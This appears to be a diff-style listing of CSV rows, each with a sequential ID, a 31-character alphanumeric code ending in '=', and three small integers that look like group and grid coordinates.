+7173,BULHDA0Z9IKQLVJILH74O8NZJNSZYNY=,113,0,4 +7174,X1HH6RFJOD3KIM92KW5TJ085LF5R2US=,113,0,5 +7175,536WYU9DJUVJYTJOQ39P7GRYE368SWF=,113,0,6 +7176,A873IT6EKU4HXPYQIS2OALCYEL2L2HL=,113,0,7 +7177,ZJLBEUFB2Z7O1HCV0MTVXLMTTBANFB9=,113,1,0 +7178,ODQXM6ABH1TSLE5E413GB5231HSCTNZ=,113,1,1 +7179,S00EAH2NOE9WUSPBCAQ3QDBI3PFCJQ3=,113,1,2 +7180,FM5NC370N2B8XE0E5RAAA0AIYXEXJZZ=,113,1,3 +7181,GJHPGVWWHJDFE87NZ5OWUIHGTD3UUHF=,113,1,4 +7182,8MRT3BXOH7S0N1YEIQWK9C9YZTJWLAR=,113,1,5 +7183,7OL013TJ4ES9OF4ITAO210P9WSUH8DD=,113,1,6 +7184,P0BE8OEU32I1W802ZKPBF9RBCVG8Y6G=,113,1,7 +7185,JWJRZDC467STU8N3D52SXIHSOW3SJ7Q=,113,2,0 +7186,HJKY9PYHUS6J9O6MOZK4R8WGYNW7H7P=,113,2,1 +7187,ES4JTEHUUNQE477L1Z5OFVZUI3WKKOT=,113,2,2 +7188,HI03V7GDJLYMF12EIRF1DGL4O2SE3KL=,113,2,3 +7189,NQQN0SQK79SQ8S8V6ZSCDAFTQU1HXXG=,113,2,4 +7190,QLVLIS5Z0RY2Y8UJP35PUP9XTZOT8FZ=,113,2,5 +7191,B3AT6VU6FYPI6SMEKNP4YCHV9DFHLQE=,113,2,6 +7192,K75UOC4MG9VSA9OR0G7JLGT5HJ7ME84=,113,2,7 +7193,DXEQY3I7FZ07LIHELVF2XGXF9BKJ4E8=,113,3,0 +7194,PCJ3O1LIP5EHXUP8CKP3IDB58C2FPCF=,113,3,1 +7195,2HPJ4O239K5LPF138IXMQVK1X97KT2F=,113,3,2 +7196,V9Z3IJ59FH501LOI8F90HMJ7CEQDOI4=,113,3,3 +7197,68DPDM17A0FBWNJLKG6ZAW0ILGRZ4ZN=,113,3,4 +7198,ITJ6UKSPUXPU6QJS1CA6VWXXN6QVEVQ=,113,3,5 +7199,KUZ2BXX9P11EL5AAXZZ1ABX105UFSFA=,113,3,6 +7200,3690MN71Z6D4ZOVX2W814UW010DBDRU=,113,3,7 +7201,K85HK7KU0W9L8LDBA9MO62Y5ALTZGB3=,113,4,0 +7202,OW7JYGAXVF03DFGABYVD58NQOKAN2OO=,113,4,1 +7203,EDB8EIFURZU3P0BMYAAUI8IIYEIWJYJ=,113,4,2 +7204,GW94Z8SVRFW7CZDTO8DHVAQU6R9EXQR=,113,4,3 +7205,J610SF808CDMH2MOBGWPTB8CSYRDL8M=,113,4,4 +7206,65L7QWX0UW1LG8S37MBD8I9L1P1IJQU=,113,4,5 +7207,3VFRXULQGIVCWKO9AWJBM2G0TJPBHP3=,113,4,6 +7208,I4D1Q8563CPETKTRWE9H4EH5BED1PJ9=,113,4,7 +7209,JQBY9W9JENT8G5H2S08S1G314HACJKX=,113,5,0 +7210,JA5T4DWOFSULZGS8D8LMHQLRAPAPJDA=,113,5,1 +7211,ZPLV8VG3V1DI417AMTSEEHGEU819V37=,113,5,2 +7212,HHG4CH9WZ8K2VHVBHUOKPCFJ4SSOT14=,113,5,3 +7213,CJU4PAHN3NFGBNH4YEVV0MBLBD6JMLW=,113,5,4 +9285,HJAHUBKYZS1DMJJJJ0N1NXKMBDEJ8R4=,146,0,4 +9286,1J3I5FQR1486X16JEXBFIWEF1UN4SD2=,146,0,5 +7216,H3F734V9LL9HI1O6YV9NG327B66IPOP=,113,5,7 +7217,WT64VZDVTA1Q8QED1FEOR9PVK6KD2YN=,113,6,0 +7218,NYOQL4U2QMWJVD94E8D7H85KAXIZSJZ=,113,6,1 +7219,7TF1Y7LCZOSXLNP7U69BKLKXMVFCDO8=,113,6,2 +7220,81BGD26IEBTGN7M4STV483H3V50M0NH=,113,6,3 +7221,ETTXAL4UWUJHBJHJZXZF2S9XZEF4QW9=,113,6,4 +7222,4VHCZLJWUJQWR336WS1ERUG1KAQD88Z=,113,6,5 +7223,NV122QZGPOIGPN5KZJ4F3VSJ01EFPI7=,113,6,6 +7224,VOK51RNF2O0R787ZJ9PEN8SDAWR0BHT=,113,6,7 +7225,Q7VMR4AV3GGH0RA1CI6KOFX7JAAOWXV=,113,7,0 +7226,QBA0XYC4LH1RMB85MC53W6GOHA6IG8Z=,113,7,1 +7227,SNGHZMAE8O1P0TXE1IWLIYTR55RM7UD=,113,7,2 +7228,OC4T4M81UEH2O2MWANHQU02X7LKGAOT=,113,7,3 +7229,40VCO5CUTZYYVOGEGMZ17MEBXTEQSDX=,113,7,4 +7230,T33O8QPROKHW60T770VO1I6UYIXZWHX=,113,7,5 +7231,WBRB93NVSWD3Q2TKZS47OFGJHCP9KWC=,113,7,6 +7232,WLB0XZ483N6ZRH9IIKPTEK6OH9TQDB0=,113,7,7 +7233,1FDRNA4GHXLF1AIROBR21ARPPZENGGM=,114,0,0 +7234,J54NT0I1NJ5VW51X94F79282UJI6RYA=,114,0,1 +7235,2BOY7YMDF13YP0UV6I9ZQTA1HCH26X9=,114,0,2 +7236,XZE2F80CDOM2XBS5Y9N67CKZISVCD8I=,114,0,3 +7237,XRMX5C5V00ZVO8LVC4QDI1Y9DRIOZOV=,114,0,4 +7238,A6UJ4RCO4AGV76FL9IIISVIP4OUNWIE=,114,0,5 +7239,WJLIUN2EC5W7I9ZGAWXZ1VPQZ1TM7GC=,114,0,6 +7240,5QUEC1HETORLVOB5Z6EPW84TT91HS2F=,114,0,7 +7241,K7HNO9U802F0WFL9FNBT93Q0FY815TS=,114,1,0 +7242,OK2T9ADAJDGXEW5JD0JMU1M05RAO2X3=,114,1,1 +7243,UJ0H4QQYFWS7XFKE7XFLR7WHU9WR3F3=,114,1,2 +7244,XUJ28KC6U4TJJUSALGX1WRGFAKOC4TC=,114,1,3 +7245,6PT7LUEGI9HZGKO834RKJA6PB25KGHL=,114,1,4 +7246,F08XFTBK3RWUW0HD7T8BD7X8L6JE9M9=,114,1,5 +7247,8T1OGMQ8AF1QG4EK40WVA9XN3JVHJCX=,114,1,6 +7248,R6RIX5CW3A7BNNSF58NSUYXY70XMPVC=,114,1,7 +7249,6O3J008LGND7FPU2WCZZVO6KLG1BSKL=,114,2,0 +7250,LOERVWQA4WYJ8C93J4XPZ5NAVSO2FWH=,114,2,1 +7251,DLA5Q7EMID1LIW1C1KB3RFMUHN5O3WR=,114,2,2 +7252,D2S3W9XGM55426AN7MIEHHDCLH51V6O=,114,2,3 +7253,OR4Z0JJ6QSSXPQOCTCKBSCO4DDQHDZ4=,114,2,4 +7256,T83PO7PVK7PDHU3PZTC68E1TA7JZBA1=,114,2,7 +7257,31JPV80E13444Q5T239ZC2KMJPD8WRK=,114,3,0 +7258,RY1BFT78HG9IZ2HTPJMX6B786JW2Z8V=,114,3,1 +7259,9BA3DAPMURWQXIWG1V4Y3QSIOY9HQ0Y=,114,3,2 +7260,5TXH1T2XVSS74AN89VPC7S7JNQQHUD4=,114,3,3 +7261,PLAN99OGZB33AG21VD2DAYSPY5YEX6T=,114,3,4 +7262,FHCUGOIV0I7M8X3ROUFD126S5GEFZVU=,114,3,5 +7263,TANAVTEXHZ8J8QTXZNBA03CVB9YUS0Q=,114,3,6 +7264,AZFFIOGB77WU7P8BBAWYYB13AOGRDIJ=,114,3,7 +7265,JPN1NEF30QJ0LKMDHJ7R98VUYKAJDOF=,114,4,0 +7266,F1KOMKLM4MGNQA2841NMQV8MD66PJXR=,114,4,1 +7267,2H32I0KN7I70Q9636OK8AOOIZMD5VFR=,114,4,2 +7268,Z5X4HG8X7I8QE71YIWKUV6TGX3L8LBY=,114,4,3 +7269,RLYHT8HU10OTWDQOM5DIIBH2UYC93FD=,114,4,4 +7270,MGYD68PTP9Z3XUKJP39CABX20BU0QGE=,114,4,5 +7271,E0R85HQZO7TNDUI3YBBLSXBPQXVI5BJ=,114,4,6 +7272,80N5YCH63LIRKSQ822FG81K7FSYUVK7=,114,4,7 +7273,2V5KYXKSWYBSVH0XI2UW77K1SV6LX9X=,114,5,0 +7274,L03QL8DXCGLGFGN5ETQ5Z0HA9EBCL3B=,114,5,1 +7275,UQV8A822NOWYXGIUY9TQSYYNI6LVZ67=,114,5,2 +7276,J46NGWO1KK1BS1W5F48ZNE0QFH7GW0C=,114,5,3 +7277,GYNNRH9I8NNQEWD6D79W0CQ1R5Q5N1S=,114,5,4 +7280,K612PLH8GJHNH2ZK3W8QX0MOWDIBCZO=,114,5,7 +7281,3YI1O29UAU0RYTSFOAXDL21GZS9LFPS=,114,6,0 +7282,T4HYCHJ5M11WD61DL3H1DPI08VO9JJ3=,114,6,1 +7283,RB35M9NXNKS8MPFQAP4W63ATYXGK8HP=,114,6,2 +7284,4GAWUZQ2GQ3QX6F37H76MBUJI2E4XJP=,114,6,3 +7285,G4SZ90BWG94Z59MXYRTCRCIDOVSOVD7=,114,6,4 +7286,B79P2TWITIH16JIQ4NYJ686E9LXENAL=,114,6,5 +7287,98IT6CQB5XU0KO27640DWQZDJUBY842=,114,6,6 +7288,K4AVYXPFWF8IVNFLKR934X3G66E257Z=,114,6,7 +7289,CVYLD0F2733OJ3KNZ8UWC09XVH3IK49=,114,7,0 +7290,D0BLDBBYGIRF0T3KP5JDGKH4QO9AR5X=,114,7,1 +7291,GX4JMTPX9OG1XOV9O3ZK6JQJTELVXZI=,114,7,2 +7292,3FSEJEF9R35NQ0O3G3IDOKKIG5ILS5A=,114,7,3 +7293,LB8FAQBI8KK2Y43IRH2YP4VMYKADROC=,114,7,4 +7294,VPIQCUVOZRY9TIV1H458KZP7YGSMO4D=,114,7,5 +7295,756DXQJ8JOXHVBIJ1Q1BDGXIO22ZZBH=,114,7,6 +7296,QCGC0QAYOXIV0SFZOMQR764B24TR2QX=,114,7,7 +7297,KALFWNVYGSE614VTIAJQIZH66EPYNRC=,115,0,0 +7298,MYHZ081BW98NZZQKSVZ1AUGHLHENWXY=,115,0,1 +7299,1K7OFDHDZPGTMU45AEY075QH7K7MY4S=,115,0,2 +7300,19R6E09HJUOKK1OF4K58AWA5LL4AGS2=,115,0,3 +7301,Q1340IZQBD8BQ5V1EVFZE796JQCVSRU=,115,0,4 +7302,F5UFF32MIV4QJ7Q709GMIR2U0ZD0E88=,115,0,5 +7303,I1QY9B6VLRAUE6M64R5UEJQORQULW0Q=,115,0,6 +7304,QRRCX7XT2Q2PKJUSPLID6IKSDZCZAIG=,115,0,7 +7305,3AIP4EN3Z9L0VHBICGMPWC0UWQ5U2ID=,115,1,0 +7306,GGJBLEGFNIVD0IO2WEFIBVUBQQ5553J=,115,1,1 +7307,RGUH708EA1ZXFP6HWLXWQF8LAL1JLQM=,115,1,2 +7308,5L5F2IJTCBB5FVR03RH2BN84AK7SK3N=,115,1,3 +7309,U30YK8KXAVJJLIC84ZHEDCNITUCERP7=,115,1,4 +7310,JU6QF5W4YQ7RYDYYEIW0WB8MGQSHVA8=,115,1,5 +7311,A8L01W6LCC963XG4OYWD2NXRNM9GVJ6=,115,1,6 +7312,GJBH8ABMF4F8EU3BDH46UTVAJKP94L0=,115,1,7 +7313,VS5C5FEVP2Y8CLA87MJ3PSFC3SRUU38=,115,2,0 +7314,F6013086VWW0EO1TJ9FFIJJ65ESLYD5=,115,2,1 +7315,RQ5CJ8M8UHKPLP4U00OZTWVW4V54IA0=,115,2,2 +7316,5N4FOPYGU9SSUKAS8GUKMJR9BTW4O0M=,115,2,3 +7317,Q64J6U7FIXBR8OLFVWYDSWTZYS4FHBS=,115,2,4 +7318,9D2G6GM4B3BZZX8UTG9WW72A0LNXTTN=,115,2,5 +7319,1BMWFGCK6EE6P41FW4WUNHQW4NQS4FT=,115,2,6 +7320,RXGEJX76W5FCZGYW4OU8YVBQKSV9IO6=,115,2,7 +7321,U4MU90GZVS0KLT4FDDUP49ALECOCXKH=,115,3,0 +7322,U6VZFV61NQ8Y8QERS5Q2V3Y1KZZG0Z3=,115,3,1 +7323,0T9KQSWOTRZ9G9WBAFIMCJNSHMD6EPQ=,115,3,2 +7324,00PBBNKG9FSPLG24IP78EDCGVO8P3N6=,115,3,3 +7325,AQC3OCV2EBTVVKA7JK0DYP1UKEA8E5H=,115,3,4 +7326,66348PUWZ4DBWQJDRVQJGBBMEMD61C9=,115,3,5 +7327,AR9LLR8QTEFK46DTKEL9WC9M0GS8W0F=,115,3,6 +7328,XR36KOTE7CPYAFDSK8BMGCOK9KQGC8G=,115,3,7 +7329,DFMBROX7MWSKHKOIXHYJO3JWR1GS7Q5=,115,4,0 +7330,MM4BQ99O7N3OUFYCZITZDRYSVHVVCFC=,115,4,1 +7331,M42QY1BU99BALR2A3ZZZFQZOZ7EZ3FU=,115,4,2 +7332,IFIK89AB5VNQFPLFE4OM1ULVUD9UX2Y=,115,4,3 +7333,KTEOEHJRUFFC7IJNECD1HQAHI8CRJ7V=,115,4,4 +7334,UY6QUIVO7A2742D87GY04KUPOIMA9UY=,115,4,5 +7335,05BMLIXCQBIB4UO79WKOIJAOADGO6AX=,115,4,6 +7336,YYCN6Q2Y128J7ACFQD9UEMQH6U57EFX=,115,4,7 +7337,G3ERV28OI9DP3WZN5B0JUZPPRB635CO=,115,5,0 +7338,5QV01620LJSLZ723FDMNCMMJ0BE7VLY=,115,5,1 +7339,3H20ZJXYNZVQIX4RCJW4HM4U0AK9FYL=,115,5,2 +7340,EC8DKDJ5J72GM3ZL1EPYDCXFCUEGNVS=,115,5,3 +7341,TQ6DFZ8QZ3V11LXV1D2D9DQCX4SEFA3=,115,5,4 +7344,XUWSDAM8CJUNMF9JDM044ZP7GP4F2Z8=,115,5,7 +7345,MMLFB0PJ0CVH9AO2HDN9A1TNFVPB9TM=,115,6,0 +7346,1OW3FZ9PGHZR7A0PAO1ASARSTQM2VAA=,115,6,1 +7347,JD6IB7K1CY1Q76L493M8Z11GJAA22QK=,115,6,2 +7349,2DQB7NMKFS4YZT6BI8OVDG3HBEN61OY=,115,6,4 +7350,YK28GUMXX3CWRQBW1SNDWIWBQ7DU412=,115,6,5 +7351,E0X1ZC68HJVH1KZIN4D5P1V8XXT87MI=,115,6,6 +7352,QJH4JLITTKX2CP5I2AVOVKBNCVQ6ABK=,115,6,7 +7353,0OXT077QH99EY5I9D8CE91K7ED6P13L=,115,7,0 +7354,HIWL0H9V0WJ9UFE1R4KIBK90D6BFGZQ=,115,7,1 +7355,YKNTQY7ETOCMFJ0E3GIBO3KLY882UUL=,115,7,2 +7356,7M85SBH4367HXB3QN95P6HSR1XCNWA6=,115,7,3 +7357,WRKS3Q2DWLRLX4I18DKNTNEXRXLBGWG=,115,7,4 +7358,2LR2C9H6JPXOJQKIXP7I7NF6VSWV4ZL=,115,7,5 +7359,YSWB45IHTLFSPTQY0GVCKXI8DV0LOWK=,115,7,6 +7360,NP0R5OQ1ZQSRI3J4FSKU58EDI0ODRIO=,115,7,7 +7361,U62UWR2RMI500YPFTH4P0YH5AYORK16=,116,0,0 +7362,NQIDU3WOQTF4A9HGIR0KIKN7O9RQR2P=,116,0,1 +7363,C8QOH8Z4RIM58Z6II8IS6ATEKTI06VU=,116,0,2 +7364,VOA9CN1GP1QX0LTQOU0TEFADIW35IRB=,116,0,3 +7365,CM85XSDMCUECI6GQHN9IZH08C16KWQ1=,116,0,4 +7366,4PTAGOZO41JWFSWJO45Z6RJ8ASPPPL5=,116,0,5 +7367,YHP37AM3X5W9SWRN9ZU5F9LBDMZY1EK=,116,0,6 +7368,VSBKRIPK6NWINBXV9Q852TW1IF91IGE=,116,0,7 +7369,PBH0F18BR4JJZUQ20V9O54S8C977YDP=,116,1,0 +7370,NFNWXZCE92SLHBLBYXD1OCK3SVTG19A=,116,1,1 +7371,15AN6TPRNXWNG54UE9XZI03DWYHUV98=,116,1,2 +7372,JKWRH76TM79EY0Y5LBRE5C3M66U5N9R=,116,1,3 +7373,VDKEQE2G2M1VA555M954CAMQ5II4CXW=,116,1,4 +7374,ELCRY9PZRBLV7EIBMR8M3H19G7P5PWJ=,116,1,5 +7375,0XY5PQ6YK7D4R8BOYWP2RT71X4ULOY2=,116,1,6 +7376,C63NEYNBJK9TPSXE0GQJK9YSUOYE5RB=,116,1,7 +7377,SAJ23NG8AB98G0BKWOQXEXPAUFI0K0B=,116,2,0 +7378,050U7CK9C2UMUJIDNCLCW40FZVT5B11=,116,2,1 +7379,76AQX2JC0IAQF3EZ4ZIHJPO70IMILLU=,116,2,2 +7380,ZVOKYRUSEV2EBREFKBODZFK6QGWZ7JS=,116,2,3 +7381,SYZ0ONFSAF9KQXB9Y7Y50ZIQT35R4ZH=,116,2,4 +7382,T8ZXO8XLPWD2LMD3RUCN591KD2URP4B=,116,2,5 +7383,VOIGORU6AJ0BWCBR6LFVCKVZ3MBXTCX=,116,2,6 +7384,H68KGAS7QXH3RD5E60RBA3ZRSZNVR7L=,116,2,7 +7385,L8OGXWLHBFM9PX4KKKRKXTN98JTB2FW=,116,3,0 +7386,CX5SUFCZMZE6ZQH99S77GT34NATUTD3=,116,3,1 +7387,7UAJ4JR2KINDJTIH50O53PRP24A9HCZ=,116,3,2 +7388,K0F8XZLA9VB8P9VS68SNUQWHPMADCKH=,116,3,3 +7389,1IF9P6MBJ9ZD6BF14CN2PIDZCL34YLJ=,116,3,4 +7390,UK2SG6MT9SAZT0Y6ZX74U0B5E4JLDXQ=,116,3,5 +7391,O87HJ8ZGPEN8W0GT2NE07L7I7B8GA4J=,116,3,6 +7392,7QA7WYFH5NAV3QYBGQ0AMXW2D14WZOJ=,116,3,7 +7393,TECINK5UZL2J8BBAUKN37ZMM3NFJJIN=,116,4,0 +7394,EEN63K8PHLSRUFGD5MPF7Z1SEDHPOSC=,116,4,1 +7395,91V84PV1YQ7Z1WHT9AVPFK76EAMDKM8=,116,4,2 +7396,SQ2XD3X2I5H1NDEOC10ZUZ1PVBXPGSY=,116,4,3 +7397,97ORAE9SE6N4XL5H73SV2IIBO580O62=,116,4,4 +7398,BTPITNM0EDQQCNR8E2PYWQAE9I6S4VP=,116,4,5 +7399,63I4EQG1UXU6QYKKZVF8XQAG92RF4NT=,116,4,6 +7400,I30IIIE8LUNVU779WUI46MB8PK7DFZF=,116,4,7 +7401,5VI8RUN0R5GN5MQMODVPGKMAFADPZPB=,116,5,0 +7402,LTHNVXDQL6VL3LJCSV0Z051KZLL9IDA=,116,5,1 +7403,ERS31QLTI4JTEPH29PHUK0Y6ZZ1L4Y9=,116,5,2 +7404,CKUDDBHFNADOCXBAF7BS5UGNEMKXE6I=,116,5,3 +7405,XX6KQ5SAFK2UUQIUXQU2MS11AIWXVWV=,116,5,4 +7408,KW00HSES2LWATN1Z1MPI312SAXZ9VRF=,116,5,7 +7409,1NX20AOJBVMHG78E3713YL4MPB72TMO=,116,6,0 +7410,3N0TRHJCRXIUM1AUDEG25M70ASJRO0J=,116,6,1 +7411,622HU5FMBGPDXINPYL33E8YB60WYVZ3=,116,6,2 +7413,QKZ4ZVZANU15I4I27TKDKHGDG7V8581=,116,6,4 +7414,6QCTCHKE8NZ7JE2KABEOIPVU8IH0VMT=,116,6,5 +7415,1UCHWYBPLS6TMJL6V4I8W5GJG9O6BV8=,116,6,6 +7416,17L6WPAVOKFQL2QXDKSMAERD4FFDX57=,116,6,7 +7417,Z6DL2ZDXJT4PTWMYX1041I3UINWX1YD=,116,7,0 +7418,C34YN8A49YD6R3LBK2T0M8UBUU2EWKF=,116,7,1 +7419,L58J3YH2RM4N3PVE7UO62E1X7GS7GPC=,116,7,2 +7420,8JPKCUBCR7CWHK68YFORK1201DEDWIS=,116,7,3 +7421,U79YZCZ6ETIEXPDV5GZ0S27GW7778K8=,116,7,4 +7422,30OBJE82MDERL24U7JZMGZMQ737098I=,116,7,5 +7423,OCLORJROJNCMSSVIPTVYJR3C5EQ4S2S=,116,7,6 +7424,WK2N56BTU9ERPXARAFULJ7PK9TYNBCI=,116,7,7 +7425,56PKSD2FJ0L92N9BBODQ5RT3UV6AYU7=,117,0,0 +7426,SKFG01LGEQ9K437F66L84R1JS3AUKS4=,117,0,1 +7427,WIVGPE6RF31Z0CBHM8WUFCI17N65HEB=,117,0,2 +7428,4QLNQFT11V9UDW59VV6GYN2BDMZH63L=,117,0,3 +7429,6UAB1LEO84PHR2QP0QOW88UFQRC3J43=,117,0,4 +7430,LTGASCZOZ4AYAGF7JZB869MVUDB7KDU=,117,0,5 +7431,1GHR90K21264JUK9OZVRS4ZM4HGYO38=,117,0,6 +7432,8BFP22O64F5CLC6Q8E6QB7E5XP1HXH1=,117,0,7 +7433,S6X7LI595MTM919GZFI1N0YPXZAZWU8=,117,1,0 +7434,8N68OCXBWT25HQUJ8RIA3SLSSZ2ZV6D=,117,1,1 +7435,TTUIA6DCBC8JNL125QIULWAMOPZJHFS=,117,1,2 +7436,O6HDGKXCV0D50PZCSXTSZNNHX75PZ1M=,117,1,3 +7437,Q398KLG5SER1ZS55NFAFUMA2D5TTNNB=,117,1,4 +7438,3C1N4ANX53PZFYMNYXG3ZFKJTFPOU95=,117,1,5 +7439,4CVRHNNIUGJV6LW95ZFSU20GLN0A9QJ=,117,1,6 +7440,1O1XF50P2U95QDTOHEMB9RGQUIPSWPA=,117,1,7 +7441,K7XEGFUWR9FDA09CP639HWFOSQ06T7N=,117,2,0 +7442,6N8GNKTI35LJ87UUE9EPNJZBT1Q2Z87=,117,2,1 +7443,K8F3837JJKGGZJQYSECYNCSGGUTO0JK=,117,2,2 +7444,ZPLING9OUKZXDGALP7MH0434GHMUQRV=,117,2,3 +7445,LII3Y2EVATAS3FVPHC7LC8DO9UA7V95=,117,2,4 +7446,LGJAS6DN47ONDT69UKSBA42U374EYSE=,117,2,5 +7447,E0X41Z08ZHJ5356ZY3VAJAU9VMRB23A=,117,2,6 +7448,6XXCUYP346U2WFEPGLQBNNU8731MY5I=,117,2,7 +7449,94UE0NAYVK6S0MXLXBNEWCPIE9K6HHQ=,117,3,0 +7450,LAWZ2K8ZUJ235F2C20TFP6ULEOMFXZU=,117,3,1 +7451,I2D1WNM0QGP906SMKVADL74DGE2J2RX=,117,3,2 +7452,SEUBG7SN8HDU15WSEOH4DDTWY3FYW3B=,117,3,3 +7453,7ILYTLQB36B1DJMN8DFOJQLDSKJ8N8L=,117,3,4 +7454,0V5A0G9ELC5ZWYVO4XRBTWA6MGASTNX=,117,3,5 +7455,NKEO8VQJWRY3FBI35E8G2MYYFMER5ZG=,117,3,6 +7456,S8ANBMKA0WAKKIQ1IPZ1CC1QDMP8PUV=,117,3,7 +7457,FVYLGF6BWGRKQ0HSTWOXAMKAPQT6DHX=,117,4,0 +7458,MO6X0ODVGNAKSL1STVUS79TAPBKEVL0=,117,4,1 +7459,0B1QOJYD085UQQ7CJ5J0DBG7FP34O49=,117,4,2 +7460,7JDMUUE95KWSNXJ3JC37S1B8WY0T31K=,117,4,3 +7461,W9HV5ITLHCVXLFFUG9JCIYSI5HKKWIB=,117,4,4 +7462,DWJ88OP2B0TRSUD1JQ5WAS5R5UBX6BH=,117,4,5 +7463,7IMOKO9NGE3E1CBHHS576ZSAENOAYNH=,117,4,6 +7464,2OXN02152GQXFH94KLCI2WS6IVINY0S=,117,4,7 +7465,O42DV28UZJKIP8W3AIQMFE0ONSQLU5F=,117,5,0 +7466,NVQA8542E8GTXR8AECZA1DDO8LXMMEI=,117,5,1 +7467,BD1C4G048H2FJ1K3O3ED1V73PBUCXMX=,117,5,2 +7468,JZ30KOUYF5EKJF1KOK5ZRKQ0HVJ7WOV=,117,5,3 +7469,5PPJLV0G5UDJYQB5O74ZR3GFSAZJS4I=,117,5,4 +7472,POP2MQSTK6YG7N8OBO4SUYLQ9IGZGPP=,117,5,7 +7473,FTDRFFT82MB5PDP8SBW8BUQOYMP1P08=,117,6,0 +7474,S21N26CB38WLMD897FF6QCT0DLC0RZY=,117,6,1 +7475,Q2UHIGFI54RN80A0RC9318XK26FOAT6=,117,6,2 +7476,M47HJ8NDCD0M0E2HU083IC4ZRELW518=,117,6,3 +7477,DB7RDZCNNW38I8612X9PT4R4RD5ILUX=,117,6,4 +7478,YOLYQQ834LA1D4BZWQC7XEF04CZH294=,117,6,5 +7479,4Y1J8PIK5HILQ915DI4WK2JFRH9RCOP=,117,6,6 +7480,D2HWNX0HW1R0IK51DNHNR3V2A94YTIO=,117,6,7 +7481,49WG2FE3XBJ0STYUBIUSJ1TBEE2MW01=,117,7,0 +7482,TG420VCBGE1DDS36HAIU1RLIQ61L7UA=,117,7,1 +7483,K4ZHPKTEPVK3G4P2GMRANVELYB6WZMJ=,117,7,2 +7484,QATU8EA6EXF0BIA0XB10TZGJAZHV7I4=,117,7,3 +7485,6IG80TQYUR3B4NOAWMXHV1V2T9I2YU3=,117,7,4 +7486,1Z4MVT7GWYLB5B44LTF9EYG2RED135S=,117,7,5 +7487,47VQ30UZR40PNO8F3TNV2T1H6YZZ26I=,117,7,6 +7488,7L1WVQ8R6UG67CNKYF85MT7XNFAMSLV=,117,7,7 +7489,IQZ7UIBHFX0VCTMAQC4QDOEO90HDEQI=,118,0,0 +7490,9OHPDYXWO3Y6X1C4M6G46MKUWNWBL7E=,118,0,1 +7491,UISHUXN4S3NHI70EAIWQCDA3I6H1MS3=,118,0,2 +7492,WM8ZXHUJL79FGKT7HMSHKSUPJGIS84I=,118,0,3 +7493,1TI4T939L7TG4ZGDA7SK8VO957WG4B3=,118,0,4 +7494,O564ZQUL9JPVRA1Q6A728A3045K8MQ7=,118,0,5 +7495,LO58STW80TKD9UAAO2X2AMP1A4ABYCD=,118,0,6 +7496,MM7FF4SX8R7LYIRNSSTJ5UVWLR7V8GU=,118,0,7 +7497,NJJD0T5O2L6A6VY1KBV2BO8X737I98D=,118,1,0 +7498,5AM2CVG32VW6AC27C2TFEGPO24192H1=,118,1,1 +7499,V1X7MEV9WKPO2HPB6N7WV951A401D51=,118,1,2 +7500,GOGLKUXN08YW9U1RORKJ0OMYQP9HBX5=,118,1,3 +7501,AT8SI6R7XJK89CQJ1B26U3683LSBGMP=,118,1,4 +7502,7535NCA2T1ND9XUR2JHRO3NT2YAKBMU=,118,1,5 +7503,XSK1F9OMDC5GBPMMVJ0VCNP5YW12GN6=,118,1,6 +7504,8MARVS68A59JOICLT5WESLLQS0KV20X=,118,1,7 +7505,4FAFGCB39X2DAXL0T99R8L0FWRBOMLT=,118,2,0 +7506,Q7C11WO4TA2AU2QPW30QW0Q2OZ1ZF4Y=,118,2,1 +7507,AZEQVFO5LP4LL51B57HJCJBG1R5WX7S=,118,2,2 +7508,AXERJ595ECACWWGXDJTDQ1HBXWBTBBL=,118,2,3 +7509,ICSHG9JQDK96KDMDOYR14SPYEKTJI3N=,118,2,4 +7510,USSE94F0KAN3IE1APX9X44EDF9NGK59=,118,2,5 +7511,IUJVA1UQC9PEOHAH5A9OPKIH6TY18CK=,118,2,6 +7512,L13USYMGC8Z3BOK5M3RCHTHEFICS8V0=,118,2,7 +7513,D2AY1TRJ1LCOR93O1JC4FK2THSQPTRA=,118,3,0 +7514,GJCVQ1BO24YEGKSU5OV1E91SOUCQQJE=,118,3,1 +7515,D8BUHW64WB5BBA0K779QPAXDUCO9W2S=,118,3,2 +7516,6G9CMZZO5SYP2PIP2P6CW8VROYVURKX=,118,3,3 +7517,KO6NIG6IKA0UUTJ6TLYQONRF4X60L3U=,118,3,4 +7518,OTEJP3D29RHV6QB18IWRJ6RMSPW23W8=,118,3,5 +7519,HMXY1ECBL8TXBAHOHMM1E4O8QIMAQSS=,118,3,6 +7520,I27V0WDD4M0KZH5D0FR6B5T7OWTR4GM=,118,3,7 +7521,AQJS8548FFURNST5TYOXOMT7ZH8VF5N=,118,4,0 +7522,9KSUTM6ONV4QH22NI3H9POP6BE7EHUY=,118,4,1 +7523,QP66CEYPFX3LEFG2EGF8UAE2WNKX37Y=,118,4,2 +7524,BWHC7QCSPMGPS6PE6BHBKPUG5FVDJAC=,118,4,3 +7525,RCD5SUWSHTMUTBR786UOVE34PJSCLD2=,118,4,4 +7526,TL1OXP5Q7EHHCXCP52IY10P4XK0XK3L=,118,4,5 +7527,VCOWYZA756QFZ8GFK85EBP5BJDMQ4FU=,118,4,6 +7528,WNHEXAM3JMU7AY0MK6LHCC70GIISM7C=,118,4,7 +7529,Q9N7JM6ZW0J33H1FUCGVL1IGJ7G2TN2=,118,5,0 +7530,24S30CM9UN40Q5X404NVERJSYFLB7HR=,118,5,1 +7531,0DSZKB2Z6AEARNYD3J9SNGT3KRO4KCG=,118,5,2 +7532,SSBT0RVX7VR8E9UFJFL3561YVU47KV7=,118,5,3 +7533,BO3DJ6PSO0FAXPIER34RL4RS97RFBR8=,118,5,4 +7534,3BKT4G9BRLWGGAK4DW6YPSEN7A6UP0J=,118,5,5 +7535,ZC55SZ4Y2NQPMHAJ7IO7HLJ6LPA9NT4=,118,5,6 +7536,HUZ1CBHKABRJ73D8UDUM9Q0MQGPX579=,118,5,7 +7537,E4K7SWYWH98ATAG4SH84RHA1Y0D5ZIE=,118,6,0 +7538,ZYRBLFQ88NMBH1DGJXMBS3R0X2JHVWO=,118,6,1 +7539,QFKCZFQ72REZSI4REIA99F8U63AR13Q=,118,6,2 +7540,07ZO5XEGR3N04Z1XYWO1LS2R7QFQOB5=,118,6,3 +7541,0GN8IWNLUI6P76XNSM3KM2VNUAP5VK2=,118,6,4 +7542,7EE12AZA11SYOKC3B0FJTAVTKSDA6JX=,118,6,5 +7543,XCC2K4LHJXA4UHLUE8HSA5J9EWWL188=,118,6,6 +7544,34UQRVMUTNOCCXPT2CBUBQB4GGV4CJ1=,118,6,7 +7545,ZM8TT3SVT4L3012N0P1VVTWLBXZRZ0I=,118,7,0 